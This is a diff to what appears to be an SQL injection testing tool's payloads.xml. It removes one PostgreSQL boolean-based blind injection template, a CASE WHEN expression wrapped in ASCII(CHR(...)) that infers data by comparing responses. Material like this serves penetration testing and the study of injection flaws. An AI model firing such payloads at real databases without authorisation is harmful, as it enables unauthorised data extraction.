diff --git a/xml/payloads.xml b/xml/payloads.xml
index c57eabe25..6b0a48500 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -726,21 +726,6 @@ Formats:
         </details>
     </test>
 
-    <test>
-        <title>PostgreSQL boolean-based blind - Parameter replace</title>
-        <stype>1</stype>
-        <level>4</level>
-        <risk>1</risk>
-        <clause>1,2,3</clause>
-        <where>3</where>
-        <vector>ASCII(CHR(CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0 END))</vector>
-        <request>
-            <payload>ASCII(CHR(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 0 END))</payload>
-        </request>
-        <response>
-            <comparison>ASCII(CHR(CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 0 END))</comparison>
-        </response>
-    </test>
     <!-- TODO: check against Microsoft Access and SAP MaxDB -->
     <!-- End of boolean-based blind tests - Parameter replace -->